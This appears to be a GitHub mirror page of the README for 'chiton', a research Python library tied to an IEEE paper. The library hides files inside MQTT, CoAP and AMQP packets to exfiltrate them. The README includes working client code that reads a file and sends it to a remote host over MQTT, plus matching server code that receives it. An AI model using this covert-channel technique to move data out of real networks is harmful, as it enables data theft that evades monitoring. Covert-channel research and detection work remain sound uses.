Giter Site home page Giter Site logo

reverseame / chiton Goto Github PK

View Code? Open in Web Editor NEW
1.0 1.0 0.0 29 KB

Chiton is a Python library to exfiltrate data encapsulating the data into IoT protocol’s packets

Home Page: https://doi.org/10.1109/JIOT.2022.3163469

License: GNU General Public License v3.0

Python 100.00%
amqp amqp1-0 coap data-exfiltration iot mqtt python

chiton's Introduction

Chitón

Chitón (Los caprichos) - Francisco de Goya

Chiton is a Python library to exfiltrate data encapsulating the data into IoT protocol’s packets. The library allows you to encapsulate/de-encapsulate binary data into/from a protocol packets, and send/receive protocol packets to another host over Internet.

Dependencies

Chiton relies on Scapy Project to encapsulate/de-encapsulate binary data. It can be installed by the following command:

$ python3 -m pip install scapy

Example of Usage

Chiton is designed to be imported as a library in any project, and it follows the client/server model. The client is responsible of exfiltrate data:

import sys

import chiton.network.client as client
import chiton.protocol.mqtt as mqtt

def main(filename):
    protocol = mqtt.MQTT(mqtt.PUBLISH)
    mqtt_client = client.Client(protocol, '192.168.1.40')
    data = read_file(filename)
    mqtt_client.send(data)

def read_file(filename):
    with open(filename, 'rb') as f:
        return f.read()

if __name__ == '__main__':
    main(sys.argv[1])

In this example, the file to exfiltrate is passed as argument to the script, which reads it as binary data. The chosen protocol in this case is MQTT with the packet type PUBLISH, and this protocol is used to create a client object willing to communicate with the host at address 192.168.1.40. Finally, the data to exfiltrate is simply sent to the desired host calling the send function with the data as parameter, and the library handles the encapsulation of the data into the protocol’s packet payload.

import chiton.network.server as server
import chiton.protocol.mqtt as mqtt

def main():
    protocol = mqtt.MQTT(mqtt.PUBLISH)
    mqtt_server = server.Server(protocol)
    data = mqtt_server.recv()
    write_file(data, 'output.bin')


def write_file(data, filename):
    with open(filename, 'wb') as f:
        f.write(data)

if __name__ == '__main__':
    main()

In the other side of the communication, the example server script should be running. The workflow is similar to the client, as the server needs to specify the protocol used for data transfer, and data is finally received. The library automatically de-encapsulates the packet payload to reassemble the original payload, ready to be saved into a file.

License

Licensed under the GNU AGPLv3 license.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.